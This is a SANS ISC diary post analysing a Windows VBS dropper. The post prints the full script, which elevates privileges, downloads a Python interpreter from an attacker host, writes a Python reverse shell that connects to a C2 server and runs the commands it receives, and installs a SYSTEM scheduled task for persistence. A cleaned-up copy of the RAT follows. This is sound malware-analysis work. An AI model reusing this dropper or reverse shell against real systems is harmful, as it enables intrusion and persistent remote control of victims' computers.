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No Python Interpreter? This Simple RAT Installs Its Own Copy

Published: 2021-04-09
Last Updated: 2021-04-09 06:26:38 UTC
by Xavier Mertens (Version: 1)
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For a while, I'm keeping an eye on malicious Python code targeting Windows environments[1][2]. If Python looks more and more popular, attackers are facing a major issue: Python is not installed by default on most Windows operating systems. Python is often available on developers, system/network administrators, or security teams. Like the proverb says: "You are never better served than by yourself", I found a simple Python backdoor that installs its own copy of the Python interpreter!

The backdoor is installed via a VBS script (SHA256:eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5) has a VT score of 11/58[3]. I don't know how it is delivered and executed on the target computer but, it is light and easy to read. Here is a full copy:

 1    If Not WScript.Arguments.Named.Exists("elevate") Then
 2      CreateObject("Shell.Application").ShellExecute WScript.FullName _
 3        , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
 4      WScript.Quit
 5    End If
 6    Set objFSO=CreateObject("Scripting.FileSystemObject")
 7    If objFSO.FileExists("C:\Program Files\Windows socket\socket.bat") then
 8    WScript.Quit 1
 9    End If
10    Set oShell = WScript.CreateObject ("WScript.Shell")
11    oShell.run "cmd /c mkdir C:\""Program Files""\python389", 0
12    oShell.run "cmd /c mkdir C:\""Program Files""\""Windows socket""", 0
13    WScript.Sleep 1200
14    oShell.run "powershell -c ""(New-Object System.NET.Webclient).DownloadFile('hxxp://friz[.]ga/payloads/python-3.8.9-embed-amd64.zip','C:\Program Files\python389\python-3.8.9-embed-amd64.zip');""", 0, 1
15    set objShell = CreateObject("Shell.Application")
16    set FilesInZip=objShell.NameSpace("C:\Program Files\python389\python-3.8.9-embed-amd64.zip").items
17    objShell.NameSpace("C:\Program Files\python389").CopyHere(FilesInZip)
18    Set objFSO=CreateObject("Scripting.FileSystemObject")
19    outBat="c:\Program Files\Windows socket\socket.bat"
20    Set objSocket = objFSO.CreateTextFile(outBat,True)
21    objSocket.WriteLine "C:\""Program Files""\python389\python.exe ""C:\Program Files\Windows socket\rat.py"""
22    outPython="c:\Program Files\Windows socket\rat.py"
23    Set objPython = objFSO.CreateTextFile(outPython,True)
24    objPython.WriteLine "import socket"
25    objPython.WriteLine "import os"
26    objPython.WriteLine "import subprocess"
27    objPython.WriteLine "sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)"
28    objPython.WriteLine "sock.connect(('friz.ga', 7676))"
29    objPython.WriteLine "sock.send(b'c\\r\\n')"
30    objPython.WriteLine ""
31    objPython.WriteLine "while 1:"
32    objPython.WriteLine "    output = ''"
33    objPython.WriteLine "    data = sock.recv(1024)"
34    objPython.WriteLine "    msg = data.decode('UTF-8')"
35    objPython.WriteLine "    print(msg)"
36    objPython.WriteLine "    try:"
37    objPython.WriteLine "        output = subprocess.check_output(['cmd.exe', f'/c {msg}']) "
38    objPython.WriteLine "        print(output)   "
39    objPython.WriteLine "    except subprocess.CalledProcessError as err:"
40    objPython.WriteLine "        print(err)"
41    objPython.WriteLine "    #sock.send(bytes(output, 'utf-8'))"
42    objPython.WriteLine ""
43    objPython.WriteLine "    try:"
44    objPython.WriteLine "        sock.send(output)"
45    objPython.WriteLine "    except:"
46    objPython.WriteLine "        pass"
47    objPython.WriteLine "  "
48    objPython.WriteLine ""
49    objPython.WriteLine "    if not data:"
50    objPython.WriteLine "        pass"
51    objPython.WriteLine "        #sock.send(b'\n')"
52    objPython.WriteLine "    "
53    objPython.WriteLine ""
54    objPython.WriteLine "conn.close"
55    oShell.run "schtasks /create /F /ru ""SYSTEM"" /sc onlogon /tn WinSocket /rl highest /tr ""\""C:\Program Files\Windows socket\socket.bat""\"" ", 0
56    oshell.run "schtasks /run /I /TN WinSocket", 0

First, the script tries to elevate its privileges (lines 1-5) with a common technique. Files will be dropped in two directories (lines 11-12). A Python environment is downloaded and extracted in C:\Program Files\python389 (lines 14-17). A batch file is created (lines 19-21) to execute the RAT ("C:\Program Files\python389\python.exe" "C:\Program Files\Windows socket\rat.py"). Finally, the RAT is created (lines 22-54). Here is a cleaner code:

import socket
import os
import subprocess
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('friz[.]ga', 7676))
sock.send(b'c\\r\\n')
while 1:
    output = ''
    data = sock.recv(1024)
    msg = data.decode('UTF-8')
    print(msg)
    try:
        output = subprocess.check_output(['cmd.exe', f'/c {msg}']) 
        print(output)   "
    except subprocess.CalledProcessError as err:
        print(err)
    #sock.send(bytes(output, 'utf-8'))

    try:
        sock.send(output)
    except:
        pass

    if not data:
        pass
        #sock.send(b'\n')
conn.close

The script is easy to understand, it connects to the C2 (friz[.]ga:7676) and expects some commands. They are executed and the result is sent back.

Finally, persistence is achieved through the creation of a scheduled task (lines 55-56).

This technique may look pretty invasive because a Python environment requires the installation of many files but the archive dropped by this script is the "embeddable package"[4] that contains the minimum set of files (SHA256:6d9a18cee86819d86442fc67d4ffe9fd5819cbaedd350b4c92b84160bd1acd48):

remnux@remnux:/MalwareZoo/20210409$ unzip -t python-3.8.9-embed-amd64.zip 
Archive:  python-3.8.9-embed-amd64.zip
    testing: python.exe               OK
    testing: pythonw.exe              OK
    testing: python38.dll             OK
    testing: python3.dll              OK
    testing: vcruntime140.dll         OK
    testing: vcruntime140_1.dll       OK
    testing: LICENSE.txt              OK
    testing: pyexpat.pyd              OK
    testing: select.pyd               OK
    testing: unicodedata.pyd          OK
    testing: winsound.pyd             OK
    testing: _asyncio.pyd             OK
    testing: _bz2.pyd                 OK
    testing: _ctypes.pyd              OK
    testing: _decimal.pyd             OK
    testing: _elementtree.pyd         OK
    testing: _hashlib.pyd             OK
    testing: _lzma.pyd                OK
    testing: _msi.pyd                 OK
    testing: _multiprocessing.pyd     OK
    testing: _overlapped.pyd          OK
    testing: _queue.pyd               OK
    testing: _socket.pyd              OK
    testing: _sqlite3.pyd             OK
    testing: _ssl.pyd                 OK
    testing: libcrypto-1_1.dll        OK
    testing: libffi-7.dll             OK
    testing: libssl-1_1.dll           OK
    testing: sqlite3.dll              OK
    testing: python38.zip             OK
    testing: python38._pth            OK
    testing: python.cat               OK
No errors detected in compressed data of python-3.8.9-embed-amd64.zip.

[1] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[2] https://isc.sans.edu/forums/diary/Simple+Python+Keylogger/27216
[3] https://www.virustotal.com/gui/file/eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5/detection
[4] https://www.python.org/downloads/windows/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

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